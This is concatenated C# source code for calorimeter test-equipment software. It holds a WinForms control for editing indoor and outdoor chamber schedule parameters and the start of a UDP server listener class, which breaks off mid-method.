private List<TextEdit> viewEdits;
private List<TextEdit> id1Edits;
private List<TextEdit> id2Edits;
private List<TextEdit> odEdits;
private List<AdvBandedGridView> viewGrids;
private List<ChamberParams> chamberParams;
private void Initialize()
{
db = Resource.ConfigDB;
mode = EDataSetMode.View;
bookmark = new GridBookmark(scheduleGridView);
viewEdits = new List<TextEdit>();
viewEdits.Add(standardEdit);
viewEdits.Add(nameEdit);
viewEdits.Add(noSteadyEdit);
viewEdits.Add(preparationEdit);
viewEdits.Add(judgementEdit);
viewEdits.Add(repeatEdit);
id1Edits = new List<TextEdit>();
id1Edits.Add(id1EdbSetupEdit);
id1Edits.Add(id1EdbAvgEdit);
id1Edits.Add(id1EdbDevEdit);
id1Edits.Add(id1EwbSetupEdit);
id1Edits.Add(id1EwbAvgEdit);
id1Edits.Add(id1EwbDevEdit);
id1Edits.Add(id1Ldb1DevEdit);
id1Edits.Add(id1Lwb1DevEdit);
id1Edits.Add(id1Airflow1DevEdit);
id1Edits.Add(id1Ldb2DevEdit);
id1Edits.Add(id1Lwb2DevEdit);
id1Edits.Add(id1Airflow2DevEdit);
id1Edits.Add(id1Cdp1SetupEdit);
id1Edits.Add(id1Cdp1AvgEdit);
id1Edits.Add(id1Cdp1DevEdit);
id1Edits.Add(id1Cdp2SetupEdit);
id1Edits.Add(id1Cdp2AvgEdit);
id1Edits.Add(id1Cdp2DevEdit);
id2Edits = new List<TextEdit>();
id2Edits.Add(id2EdbSetupEdit);
id2Edits.Add(id2EdbAvgEdit);
id2Edits.Add(id2EdbDevEdit);
id2Edits.Add(id2EwbSetupEdit);
id2Edits.Add(id2EwbAvgEdit);
id2Edits.Add(id2EwbDevEdit);
id2Edits.Add(id2Ldb1DevEdit);
id2Edits.Add(id2Lwb1DevEdit);
id2Edits.Add(id2Airflow1DevEdit);
id2Edits.Add(id2Ldb2DevEdit);
id2Edits.Add(id2Lwb2DevEdit);
id2Edits.Add(id2Airflow2DevEdit);
id2Edits.Add(id2Cdp1SetupEdit);
id2Edits.Add(id2Cdp1AvgEdit);
id2Edits.Add(id2Cdp1DevEdit);
id2Edits.Add(id2Cdp2SetupEdit);
id2Edits.Add(id2Cdp2AvgEdit);
id2Edits.Add(id2Cdp2DevEdit);
odEdits = new List<TextEdit>();
odEdits.Add(odEdbSetupEdit);
odEdits.Add(odEdbAvgEdit);
odEdits.Add(odEdbDevEdit);
odEdits.Add(odEwbSetupEdit);
odEdits.Add(odEwbAvgEdit);
odEdits.Add(odEwbDevEdit);
odEdits.Add(odEdpSetupEdit);
odEdits.Add(odEdpAvgEdit);
odEdits.Add(odEdpDevEdit);
odEdits.Add(odVolt1SetupEdit);
odEdits.Add(odVolt1AvgEdit);
odEdits.Add(odVolt1DevEdit);
odEdits.Add(odVolt2SetupEdit);
odEdits.Add(odVolt2AvgEdit);
odEdits.Add(odVolt2DevEdit);
viewGrids = new List<AdvBandedGridView>();
viewGrids.Add(indoor1GridView);
viewGrids.Add(indoor2GridView);
viewGrids.Add(outdoorGridView);
chamberParams = new List<ChamberParams>();
chamberParams.Add(new ChamberParams());
indoor1Grid.DataSource = chamberParams;
indoor2Grid.DataSource = chamberParams;
outdoorGrid.DataSource = chamberParams;
NameValue<EIndoorUse>[] inUseItems = EnumHelper.GetNameValues<EIndoorUse>();
indoor1UseLookUp.DataSource = inUseItems;
indoor1UseLookUp.DisplayMember = "Name";
indoor1UseLookUp.ValueMember = "Value";
indoor1UseLookUp.KeyMember = "Value";
indoor2UseLookUp.DataSource = inUseItems;
indoor2UseLookUp.DisplayMember = "Name";
indoor2UseLookUp.ValueMember = "Value";
indoor2UseLookUp.KeyMember = "Value";
NameValue<EIndoorMode>[] modeItems = EnumHelper.GetNameValues<EIndoorMode>();
indoor1ModeLookUp.DataSource = modeItems;
indoor1ModeLookUp.DisplayMember = "Name";
indoor1ModeLookUp.ValueMember = "Value";
indoor1ModeLookUp.KeyMember = "Value";
indoor2ModeLookUp.DataSource = modeItems;
indoor2ModeLookUp.DisplayMember = "Name";
indoor2ModeLookUp.ValueMember = "Value";
indoor2ModeLookUp.KeyMember = "Value";
NameValue<EIndoorDuct>[] ductItems = EnumHelper.GetNameValues<EIndoorDuct>();
indoor1DuctLookUp.DataSource = ductItems;
indoor1DuctLookUp.DisplayMember = "Name";
indoor1DuctLookUp.ValueMember = "Value";
indoor1DuctLookUp.KeyMember = "Value";
indoor2DuctLookUp.DataSource = ductItems;
indoor2DuctLookUp.DisplayMember = "Name";
indoor2DuctLookUp.ValueMember = "Value";
indoor2DuctLookUp.KeyMember = "Value";
NameValue<EOutdoorUse>[] outUseItems = EnumHelper.GetNameValues<EOutdoorUse>();
outdoorUseLookUp.DataSource = outUseItems;
outdoorUseLookUp.DisplayMember = "Name";
outdoorUseLookUp.ValueMember = "Value";
outdoorUseLookUp.KeyMember = "Value";
NameValue<EEtcUse>[] etcUseItems = EnumHelper.GetNameValues<EEtcUse>();
outdoorEtcUseLookUp.DataSource = etcUseItems;
outdoorEtcUseLookUp.DisplayMember = "Name";
outdoorEtcUseLookUp.ValueMember = "Value";
outdoorEtcUseLookUp.KeyMember = "Value";
string format;
string devFormat;
foreach (TextEdit edit in id1Edits)
{
switch (int.Parse(((string)edit.Tag).ToString()))
{
// Temperature Edit
case 0:
format = Resource.Variables.Measured["ID11.Entering.DB"].Format;
devFormat = ToDevFormat(format);
break;
// Air Flow Edit
case 1:
format = Resource.Variables.Calcurated["ID11.Air.Flow.Lev"].Format;
devFormat = ToDevFormat(format);
break;
// Diff. Pressure Edit
case 2:
format = Resource.Variables.Measured["ID11.Nozzle.Diff.Pressure"].Format;
devFormat = ToDevFormat(format);
break;
default:
format = "0.0";
devFormat = "f1";
break;
}
edit.EditValue = 0f;
edit.Properties.Mask.EditMask = devFormat;
edit.Properties.DisplayFormat.FormatString = devFormat;
edit.Properties.EditFormat.FormatString = devFormat;
}
foreach (TextEdit edit in id2Edits)
{
switch (int.Parse(((string)edit.Tag).ToString()))
{
// Temperature Edit
case 0:
format = Resource.Variables.Measured["ID21.Entering.DB"].Format;
devFormat = ToDevFormat(format);
break;
// Air Flow Edit
case 1:
format = Resource.Variables.Calcurated["ID21.Air.Flow.Lev"].Format;
devFormat = ToDevFormat(format);
break;
// Diff. Pressure Edit
case 2:
format = Resource.Variables.Measured["ID21.Nozzle.Diff.Pressure"].Format;
devFormat = ToDevFormat(format);
break;
default:
format = "0.0";
devFormat = "f1";
break;
}
edit.EditValue = 0f;
edit.Properties.Mask.EditMask = devFormat;
edit.Properties.DisplayFormat.FormatString = devFormat;
edit.Properties.EditFormat.FormatString = devFormat;
}
foreach (TextEdit edit in odEdits)
{
switch (int.Parse(((string)edit.Tag).ToString()))
{
// Temperature Edit
case 0:
format = Resource.Variables.Measured["OD.Entering.DB"].Format;
devFormat = ToDevFormat(format);
break;
// Air Flow Edit
case 1:
format = Resource.Variables.Calcurated["ID1.IDU.Voltage"].Format;
devFormat = ToDevFormat(format);
break;
default:
format = "0.0";
devFormat = "f1";
break;
}
edit.EditValue = 0f;
edit.Properties.Mask.EditMask = devFormat;
edit.Properties.DisplayFormat.FormatString = devFormat;
edit.Properties.EditFormat.FormatString = devFormat;
}
}
private void CtrlConfigSchedule_Load(object sender, EventArgs e)
{
db.Lock();
try
{
ScheduleParamDataSet set = db.ScheduleParamSet;
set.Select();
scheduleGrid.DataSource = set.DataSet.Tables[0];
scheduleGridView.Appearance.EvenRow.BackColor = Color.FromArgb(244, 244, 236);
scheduleGridView.OptionsView.EnableAppearanceEvenRow = true;
}
finally
{
db.Unlock();
}
SetDataSetMode(EDataSetMode.View);
}
public void CtrlConfigSchedule_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == (char)Keys.Escape)
{
if (cancelButton.Enabled == true)
{
cancelButton_Click(null, null);
}
}
}
private void indoor1GridView_CellValueChanging(object sender, CellValueChangedEventArgs e)
{
AdvBandedGridView view = sender as AdvBandedGridView;
switch (e.Column.FieldName)
{
case "Indoor1Use":
if ((EIndoorUse)e.Value == EIndoorUse.NotUsed)
{
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor1Mode1"], EIndoorMode.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor1Duct1"], EIndoorDuct.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor1Mode2"], EIndoorMode.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor1Duct2"], EIndoorDuct.NotUsed);
}
break;
case "Indoor2Use":
if ((EIndoorUse)e.Value == EIndoorUse.NotUsed)
{
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor2Mode1"], EIndoorMode.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor2Duct1"], EIndoorDuct.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor2Mode2"], EIndoorMode.NotUsed);
view.SetRowCellValue(e.RowHandle, view.Columns["Indoor2Duct2"], EIndoorDuct.NotUsed);
}
break;
}
}
private void indoor1GridView_CustomDrawBandHeader(object sender, BandHeaderCustomDrawEventArgs e)
{
if (e.Band == null) return;
if (e.Band.AppearanceHeader.BackColor != Color.Empty)
{
e.Info.AllowColoring = true;
}
}
private void indoor1GridView_CustomDrawColumnHeader(object sender, ColumnHeaderCustomDrawEventArgs e)
{
if (e.Column == null) return;
if (e.Column.AppearanceHeader.BackColor != Color.Empty)
{
e.Info.AllowColoring = true;
}
}
private void indoor1ModeLookUp_EditValueChanging(object sender, ChangingEventArgs e)
{
GridView view = indoor1GridView;
GridColumn column = view.FocusedColumn;
if ((EIndoorUse)view.GetRowCellValue(view.FocusedRowHandle,
view.Columns["Indoor1Use"]) == EIndoorUse.NotUsed)
{
e.Cancel = true;
}
else
{
e.Cancel = false;
}
if ((e.Cancel == false) && ((EIndoorMode)e.NewValue == EIndoorMode.NotUsed))
{
switch (column.FieldName)
{
case "Indoor1Mode1":
view.SetRowCellValue(view.FocusedRowHandle,
view.Columns["Indoor1Duct1"], EIndoorDuct.NotUsed);
break;
case "Indoor1Mode2":
view.SetRowCellValue(view.FocusedRowHandle,
view.Columns["Indoor1Duct2"], EIndoorDuct.NotUsed);
break;
}
}
}
private void indoor2ModeLookUp_EditValueChanging(object sender, ChangingEventArgs e)
{
GridView view = indoor2GridView;
GridColumn column = view.FocusedColumn;
if (column.FieldName != "Indoor2Use")
{
if ((EIndoorUse)view.GetRowCellValue(view.FocusedRowHandle,
view.Columns["Indoor2Use"]) == EIndoorUse.NotUsed)
{
e.Cancel = true;
}
}
if ((e.Cancel == false) && ((EIndoorMode)e.NewValue == EIndoorMode.NotUsed))
{
switch (column.FieldName)
{
case "Indoor2Mode1":
view.SetRowCellValue(view.FocusedRowHandle,
view.Columns["Indoor2Duct1"], EIndoorDuct.NotUsed);
break;
case "Indoor2Mode2":
view.SetRowCellValue(view.FocusedRowHandle,
view.Columns["Indoor2Duct2"], EIndoorDuct.NotUsed);
break;
}
}
}
private void indoor1DuctLookUp_EditValueChanging(object sender, ChangingEventArgs e)
{
GridColumn column = indoor1GridView.FocusedColumn;
switch (column.FieldName)
{
case "Indoor1Duct1":
if ((EIndoorMode)indoor1GridView.GetRowCellValue(
indoor1GridView.FocusedRowHandle,
indoor1GridView.Columns["Indoor1Mode1"])
== EIndoorMode.NotUsed)
{
e.Cancel = true;
}
else
{
e.Cancel = false;
}
break;
case "Indoor1Duct2":
if ((EIndoorMode)indoor1GridView.GetRowCellValue(
indoor1GridView.FocusedRowHandle,
indoor1GridView.Columns["Indoor1Mode2"])
== EIndoorMode.NotUsed)
{
e.Cancel = true;
}
else
{
e.Cancel = false;
}
break;
}
}
private void indoor2DuctLookUp_EditValueChanging(object sender, ChangingEventArgs e)
{
GridColumn column = indoor2GridView.FocusedColumn;
switch (column.FieldName)
{
case "Indoor2Duct1":
if ((EIndoorMode)indoor2GridView.GetRowCellValue(
indoor2GridView.FocusedRowHandle,
indoor2GridView.Columns["Indoor2Mode1"])
== EIndoorMode.NotUsed)
{
e.Cancel = true;
}
else
{
e.Cancel = false;
}
break;
case "Indoor2Duct2":
if ((EIndoorMode)indoor2GridView.GetRowCellValue(
indoor2GridView.FocusedRowHandle,
indoor2GridView.Columns["Indoor2Mode2"])
== EIndoorMode.NotUsed)
{
e.Cancel = true;
}
else
{
e.Cancel = false;
}
break;
}
}
private void searchButton_Click(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
db.Lock();
try
{
ScheduleParamDataSet set = db.ScheduleParamSet;
bookmark.Get();
if (string.IsNullOrWhiteSpace(searchStandardEdit.Text) == true)
set.Select();
else
set.Select(searchStandardEdit.Text.Trim());
}
finally
{
db.Unlock();
}
bookmark.Goto();
scheduleGrid.Focus();
}
private void newButton_Click(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
SetDataSetMode(EDataSetMode.New);
ResetEdit();
standardEdit.Focus();
}
private void modifyButton_Click(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
if (scheduleGridView.FocusedRowHandle < 0) return;
SetDataSetMode(EDataSetMode.Modify);
db.Lock();
try
{
SetEditFromDataSet();
}
finally
{
db.Unlock();
}
standardEdit.Focus();
}
private void copyButton_Click(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
if (scheduleGridView.FocusedRowHandle < 0) return;
if (MessageBox.Show("Would you like to copy a record focused?",
Resource.Caption, MessageBoxButtons.YesNo, MessageBoxIcon.Question)
== DialogResult.No)
{
return;
}
db.Lock();
try
{
ScheduleParamDataSet set = db.ScheduleParamSet;
standardEdit.Focus();
SetEditToDataSet();
set.RecNo = (int)db.GetGenNo("GN_SCHEDULEPARAM");
set.Insert();
}
finally
{
db.Unlock();
}
searchButton.PerformClick();
}
private void deleteButton_Click(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
if (scheduleGridView.FocusedRowHandle < 0) return;
if (MessageBox.Show("Would you like to delete a record focused?",
Resource.Caption, MessageBoxButtons.YesNo, MessageBoxIcon.Question)
== DialogResult.No)
{
return;
}
db.Lock();
try
{
db.ScheduleParamSet.Delete();
}
finally
{
db.Unlock();
}
searchButton.PerformClick();
}
private void saveButton_Click(object sender, EventArgs e)
{
standardEdit.Focus();
string standard = standardEdit.Text.Trim();
string name = nameEdit.Text.Trim();
if ((standard == "") || (name == ""))
{
MessageBox.Show("You must fill Standard and Name fields!",
Resource.Caption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
standardEdit.Focus();
return;
}
db.Lock();
try
{
ScheduleParamDataSet set = db.ScheduleParamSet;
SetEditToDataSet();
if (mode == EDataSetMode.New)
{
set.RecNo = (int)db.GetGenNo("GN_SCHEDULEPARAM");
set.ParamNo = -1;
set.Insert();
}
else
{
db.ScheduleParamSet.Update();
}
}
finally
{
db.Unlock();
}
SetDataSetMode(EDataSetMode.View);
searchButton.PerformClick();
}
private void cancelButton_Click(object sender, EventArgs e)
{
SetDataSetMode(EDataSetMode.View);
searchButton.PerformClick();
}
private void scheduleGridView_FocusedRowChanged(object sender, FocusedRowChangedEventArgs e)
{
if (e.FocusedRowHandle < 0) return;
if (mode != EDataSetMode.View) return;
db.Lock();
try
{
DataRow row = scheduleGridView.GetDataRow(e.FocusedRowHandle);
db.ScheduleParamSet.Fetch(row);
SetEditFromDataSet();
}
finally
{
db.Unlock();
}
}
private void scheduleGrid_DoubleClick(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
modifyButton.PerformClick();
}
private string ToDevFormat(string format)
{
string[] strings = format.Split(new[] { '.' }, StringSplitOptions.None);
if ((strings == null) || (strings.Length != 2)) return "f0";
return $"f{strings[1].Length}";
}
private void SetDataSetMode(EDataSetMode mode)
{
this.mode = mode;
viewStatePanel.Text = mode.ToString().ToUpper();
switch (mode)
{
case EDataSetMode.View:
saveButton.Enabled = false;
cancelButton.Enabled = false;
viewStatePanel.BackColor = Color.Gray;
SetEditReadOnly(true);
break;
case EDataSetMode.New:
saveButton.Enabled = true;
cancelButton.Enabled = true;
viewStatePanel.BackColor = Color.DeepSkyBlue;
SetEditReadOnly(false);
break;
case EDataSetMode.Modify:
saveButton.Enabled = true;
cancelButton.Enabled = true;
viewStatePanel.BackColor = Color.DeepSkyBlue;
SetEditReadOnly(false);
break;
}
}
private void SetEditReadOnly(bool active)
{
searchPanel.Enabled = active;
foreach (TextEdit edit in id1Edits)
{
edit.Properties.ReadOnly = active;
edit.EnterMoveNextControl = true;
}
foreach (TextEdit edit in id2Edits)
{
edit.Properties.ReadOnly = active;
edit.EnterMoveNextControl = true;
}
foreach (TextEdit edit in odEdits)
{
edit.Properties.ReadOnly = active;
edit.EnterMoveNextControl = true;
}
foreach (TextEdit edit in viewEdits)
{
edit.Properties.ReadOnly = active;
edit.EnterMoveNextControl = true;
}
foreach (AdvBandedGridView gridView in viewGrids)
{
gridView.OptionsBehavior.ReadOnly = active;
}
}
private void SetEditFromDataSet()
{
ScheduleParamDataSet set = db.ScheduleParamSet;
standardEdit.Text = set.Standard;
nameEdit.Text = set.Name;
noSteadyEdit.EditValue = set.NoOfSteady;
preparationEdit.EditValue = set.Preparation;
judgementEdit.EditValue = set.Judgement;
repeatEdit.EditValue = set.Repeat;
chamberParams[0].Indoor1Use = set.ID1Use;
chamberParams[0].Indoor1Mode1 = set.ID1Mode1;
chamberParams[0].Indoor1Duct1 = set.ID1Duct1;
chamberParams[0].Indoor1Mode2 = set.ID1Mode2;
chamberParams[0].Indoor1Duct2 = set.ID1Duct2;
id1EdbSetupEdit.EditValue = set.ID1EdbSetup;
id1EdbAvgEdit.EditValue = set.ID1EdbAvg;
id1EdbDevEdit.EditValue = set.ID1EdbDev;
id1EwbSetupEdit.EditValue = set.ID1EwbSetup;
id1EwbAvgEdit.EditValue = set.ID1EwbAvg;
id1EwbDevEdit.EditValue = set.ID1EwbDev;
id1Ldb1DevEdit.EditValue = set.ID1Ldb1Dev;
id1Lwb1DevEdit.EditValue = set.ID1Lwb1Dev;
id1Airflow1DevEdit.EditValue = set.ID1Af1Dev;
id1Ldb2DevEdit.EditValue = set.ID1Ldb2Dev;
id1Lwb2DevEdit.EditValue = set.ID1Lwb2Dev;
id1Airflow2DevEdit.EditValue = set.ID1Af2Dev;
id1Cdp1SetupEdit.EditValue = set.ID1Cdp1Setup;
id1Cdp1AvgEdit.EditValue = set.ID1Cdp1Avg;
id1Cdp1DevEdit.EditValue = set.ID1Cdp1Dev;
id1Cdp2SetupEdit.EditValue = set.ID1Cdp2Setup;
id1Cdp2AvgEdit.EditValue = set.ID1Cdp2Avg;
id1Cdp2DevEdit.EditValue = set.ID1Cdp2Dev;
chamberParams[0].Indoor2Use = set.ID2Use;
chamberParams[0].Indoor2Mode1 = set.ID2Mode1;
chamberParams[0].Indoor2Duct1 = set.ID2Duct1;
chamberParams[0].Indoor2Mode2 = set.ID2Mode2;
chamberParams[0].Indoor2Duct2 = set.ID2Duct2;
id2EdbSetupEdit.EditValue = set.ID2EdbSetup;
id2EdbAvgEdit.EditValue = set.ID2EdbAvg;
id2EdbDevEdit.EditValue = set.ID2EdbDev;
id2EwbSetupEdit.EditValue = set.ID2EwbSetup;
id2EwbAvgEdit.EditValue = set.ID2EwbAvg;
id2EwbDevEdit.EditValue = set.ID2EwbDev;
id2Ldb1DevEdit.EditValue = set.ID2Ldb1Dev;
id2Lwb1DevEdit.EditValue = set.ID2Lwb1Dev;
id2Airflow1DevEdit.EditValue = set.ID2Af1Dev;
id2Ldb2DevEdit.EditValue = set.ID2Ldb2Dev;
id2Lwb2DevEdit.EditValue = set.ID2Lwb2Dev;
id2Airflow2DevEdit.EditValue = set.ID2Af2Dev;
id2Cdp1SetupEdit.EditValue = set.ID2Cdp1Setup;
id2Cdp1AvgEdit.EditValue = set.ID2Cdp1Avg;
id2Cdp1DevEdit.EditValue = set.ID2Cdp1Dev;
id2Cdp2SetupEdit.EditValue = set.ID2Cdp2Setup;
id2Cdp2AvgEdit.EditValue = set.ID2Cdp2Avg;
id2Cdp2DevEdit.EditValue = set.ID2Cdp2Dev;
chamberParams[0].OutdoorUse = set.ODUse;
chamberParams[0].OutdoorDpSensor = set.ODDp;
chamberParams[0].OutdoorAutoVolt = set.ODAutoVolt;
odEdbSetupEdit.EditValue = set.ODEdbSetup;
odEdbAvgEdit.EditValue = set.ODEdbAvg;
odEdbDevEdit.EditValue = set.ODEdbDev;
odEwbSetupEdit.EditValue = set.ODEwbSetup;
odEwbAvgEdit.EditValue = set.ODEwbAvg;
odEwbDevEdit.EditValue = set.ODEwbDev;
odEdpSetupEdit.EditValue = set.ODEdpSetup;
odEdpAvgEdit.EditValue = set.ODEdpAvg;
odEdpDevEdit.EditValue = set.ODEdpDev;
odVolt1SetupEdit.EditValue = set.ODVolt1Setup;
odVolt1AvgEdit.EditValue = set.ODVolt1Avg;
odVolt1DevEdit.EditValue = set.ODVolt1Dev;
odVolt2SetupEdit.EditValue = set.ODVolt2Setup;
odVolt2AvgEdit.EditValue = set.ODVolt2Avg;
odVolt2DevEdit.EditValue = set.ODVolt2Dev;
indoor1GridView.RefreshData();
indoor2GridView.RefreshData();
outdoorGridView.RefreshData();
}
private void SetEditToDataSet()
{
ScheduleParamDataSet set = db.ScheduleParamSet;
set.Standard = standardEdit.Text;
set.Name = nameEdit.Text;
set.NoOfSteady = int.Parse(noSteadyEdit.Text);
set.Preparation = int.Parse(preparationEdit.Text);
set.Judgement = int.Parse(judgementEdit.Text);
set.Repeat = int.Parse(repeatEdit.Text);
set.ID1Use = chamberParams[0].Indoor1Use;
set.ID1Mode1 = chamberParams[0].Indoor1Mode1;
set.ID1Duct1 = chamberParams[0].Indoor1Duct1;
set.ID1Mode2 = chamberParams[0].Indoor1Mode2;
set.ID1Duct2 = chamberParams[0].Indoor1Duct2;
set.ID1EdbSetup = float.Parse(id1EdbSetupEdit.Text);
set.ID1EdbAvg = float.Parse(id1EdbAvgEdit.Text);
set.ID1EdbDev = float.Parse(id1EdbDevEdit.Text);
set.ID1EwbSetup = float.Parse(id1EwbSetupEdit.Text);
set.ID1EwbAvg = float.Parse(id1EwbAvgEdit.Text);
set.ID1EwbDev = float.Parse(id1EwbDevEdit.Text);
set.ID1Ldb1Dev = float.Parse(id1Ldb1DevEdit.Text);
set.ID1Lwb1Dev = float.Parse(id1Lwb1DevEdit.Text);
set.ID1Af1Dev = float.Parse(id1Airflow1DevEdit.Text);
set.ID1Ldb2Dev = float.Parse(id1Ldb2DevEdit.Text);
set.ID1Lwb2Dev = float.Parse(id1Lwb2DevEdit.Text);
set.ID1Af2Dev = float.Parse(id1Airflow2DevEdit.Text);
set.ID1Cdp1Setup = float.Parse(id1Cdp1SetupEdit.Text);
set.ID1Cdp1Avg = float.Parse(id1Cdp1AvgEdit.Text);
set.ID1Cdp1Dev = float.Parse(id1Cdp1DevEdit.Text);
set.ID1Cdp2Setup = float.Parse(id1Cdp2SetupEdit.Text);
set.ID1Cdp2Avg = float.Parse(id1Cdp2AvgEdit.Text);
set.ID1Cdp2Dev = float.Parse(id1Cdp2DevEdit.Text);
set.ID2Use = chamberParams[0].Indoor2Use;
set.ID2Mode1 = chamberParams[0].Indoor2Mode1;
set.ID2Duct1 = chamberParams[0].Indoor2Duct1;
set.ID2Mode2 = chamberParams[0].Indoor2Mode2;
set.ID2Duct2 = chamberParams[0].Indoor2Duct2;
set.ID2EdbSetup = float.Parse(id2EdbSetupEdit.Text);
set.ID2EdbAvg = float.Parse(id2EdbAvgEdit.Text);
set.ID2EdbDev = float.Parse(id2EdbDevEdit.Text);
set.ID2EwbSetup = float.Parse(id2EwbSetupEdit.Text);
set.ID2EwbAvg = float.Parse(id2EwbAvgEdit.Text);
set.ID2EwbDev = float.Parse(id2EwbDevEdit.Text);
set.ID2Ldb1Dev = float.Parse(id2Ldb1DevEdit.Text);
set.ID2Lwb1Dev = float.Parse(id2Lwb1DevEdit.Text);
set.ID2Af1Dev = float.Parse(id2Airflow1DevEdit.Text);
set.ID2Ldb2Dev = float.Parse(id2Ldb2DevEdit.Text);
set.ID2Lwb2Dev = float.Parse(id2Lwb2DevEdit.Text);
set.ID2Af2Dev = float.Parse(id2Airflow2DevEdit.Text);
set.ID2Cdp1Setup = float.Parse(id2Cdp1SetupEdit.Text);
set.ID2Cdp1Avg = float.Parse(id2Cdp1AvgEdit.Text);
set.ID2Cdp1Dev = float.Parse(id2Cdp1DevEdit.Text);
set.ID2Cdp2Setup = float.Parse(id2Cdp2SetupEdit.Text);
set.ID2Cdp2Avg = float.Parse(id2Cdp2AvgEdit.Text);
set.ID2Cdp2Dev = float.Parse(id2Cdp2DevEdit.Text);
set.ODUse = chamberParams[0].OutdoorUse;
set.ODDp = chamberParams[0].OutdoorDpSensor;
set.ODAutoVolt = chamberParams[0].OutdoorAutoVolt;
set.ODEdbSetup = float.Parse(odEdbSetupEdit.Text);
set.ODEdbAvg = float.Parse(odEdbAvgEdit.Text);
set.ODEdbDev = float.Parse(odEdbDevEdit.Text);
set.ODEwbSetup = float.Parse(odEwbSetupEdit.Text);
set.ODEwbAvg = float.Parse(odEwbAvgEdit.Text);
set.ODEwbDev = float.Parse(odEwbDevEdit.Text);
set.ODEdpSetup = float.Parse(odEdpSetupEdit.Text);
set.ODEdpAvg = float.Parse(odEdpAvgEdit.Text);
set.ODEdpDev = float.Parse(odEdpDevEdit.Text);
set.ODVolt1Setup = float.Parse(odVolt1SetupEdit.Text);
set.ODVolt1Avg = float.Parse(odVolt1AvgEdit.Text);
set.ODVolt1Dev = float.Parse(odVolt1DevEdit.Text);
set.ODVolt2Setup = float.Parse(odVolt2SetupEdit.Text);
set.ODVolt2Avg = float.Parse(odVolt2AvgEdit.Text);
set.ODVolt2Dev = float.Parse(odVolt2DevEdit.Text);
}
private void ResetEdit()
{
standardEdit.Text = "";
nameEdit.Text = "";
noSteadyEdit.EditValue = 0;
preparationEdit.EditValue = 0;
judgementEdit.EditValue = 0;
repeatEdit.EditValue = 0;
chamberParams[0].Indoor1Use = EIndoorUse.Indoor;
chamberParams[0].Indoor1Mode1 = EIndoorMode.Cooling;
chamberParams[0].Indoor1Duct1 = EIndoorDuct.N1;
chamberParams[0].Indoor1Mode2 = EIndoorMode.Cooling;
chamberParams[0].Indoor1Duct2 = EIndoorDuct.N1;
chamberParams[0].Indoor2Use = EIndoorUse.Indoor;
chamberParams[0].Indoor2Mode1 = EIndoorMode.Cooling;
chamberParams[0].Indoor2Duct1 = EIndoorDuct.N1;
chamberParams[0].Indoor2Mode2 = EIndoorMode.Cooling;
chamberParams[0].Indoor2Duct2 = EIndoorDuct.N1;
chamberParams[0].OutdoorUse = EOutdoorUse.Outdoor;
chamberParams[0].OutdoorDpSensor = EEtcUse.Use;
chamberParams[0].OutdoorAutoVolt = EEtcUse.Use;
foreach (TextEdit edit in id1Edits)
{
edit.EditValue = 0f;
}
foreach (TextEdit edit in id2Edits)
{
edit.EditValue = 0f;
}
foreach (TextEdit edit in odEdits)
{
edit.EditValue = 0f;
}
indoor1GridView.RefreshData();
indoor2GridView.RefreshData();
outdoorGridView.RefreshData();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;
using Ulee.Utils;
using Ulee.Threading;
using Ulee.Device.Connection;
using Ulee.Device.Connection.Yokogawa;
namespace Hnc.Calorimeter.Server
{
public enum EClientCommand : byte
{
ConnectClient = 200,
DisconnectClient,
GetClientList,
SetClientState,
SetController,
SetPlc,
StartIntegrationPM,
StopIntegrationPM,
ResetIntegrationPM,
SetWiringPM
}
public enum EListenerLogging
{ None, Event, All }
public enum EListenerLogItem
{ Send, Receive, Note, Exception }
public class ServerListener : UlThread
{
public ServerListener(CalorimeterServer server) : base(false)
{
this.server = server;
packet = new ServerReceivePacket(64);
ChangedClients = null;
logger = new UlLogger();
logger.Active = true;
logger.Path = server.Ini.GetString("Listener", "LogPath");
logger.FName = server.Ini.GetString("Listener", "LogFileName");
logger.AddHead("SERVER->CLIENT");
logger.AddHead("SERVER<-CLIENT");
logger.AddHead("NOTE");
logger.AddHead("EXCEPTION");
Logging = GetLogging();
}
private CalorimeterServer server;
private ServerReceivePacket packet;
private UlLogger logger;
public event EventHandler ChangedClients;
public void OnChangedClients(object sender, EventArgs args)
{
ChangedClients?.Invoke(sender, args);
}
// Log 파일기록여부
public EListenerLogging Logging { get; private set; }
// Log 파일경로
public string LogPath
{ get { return logger.Path; } set { logger.Path = value; } }
// Log 파일명
public string LogFName
{ get { return logger.FName; } set { logger.FName = value; } }
// Log 파일명
public string LogExt
{ get { return logger.Ext; } set { logger.Ext = value; } }
// Log 파일 Encoding
public Encoding LogFEncoding
{ get { return logger.FEncoding; } set { logger.FEncoding = value; } }
// Log 파일 분리 기준 - Min, Hour, Day
public EUlLogFileSeperation LogFSeperation
{ get { return logger.FSeperation; } set { logger.FSeperation = value; } }
private EListenerLogging GetLogging()
{
EListenerLogging ret;
switch (server.Ini.GetString("listener", "logging").ToLower())
{
case "none":
ret = EListenerLogging.None;
break;
case "event":
ret = EListenerLogging.Event;
break;
case "all":
ret = EListenerLogging.All;
break;
default:
ret = EListenerLogging.Event;
break;
}
return ret;
}
protected override void Execute()
{
byte[] bytes = null;
IPEndPoint ipPoint = new IPEndPoint(IPAddress.Any, 0);
// Thread 종료 신호가 들어올때 까지 루프
while (Terminated == false)
{
try
{
if ((server != null) && (server.Udp != null))
{
lock (server.Udp)
{
if (server.Udp.Available > 0)
{
bytes = server.Udp.Receive(ref ipPoint);
}
else
{
bytes = null;
}
}
if (bytes != null)
{
packet.Clear();
Array.Copy(bytes, 0, packet.Bytes, 0, bytes.Length);
CommandExecute(ipPoint);
}
}
}
catch (Exception e)
{
logger.Log((int)EListenerLogItem.Exception, e.ToString());
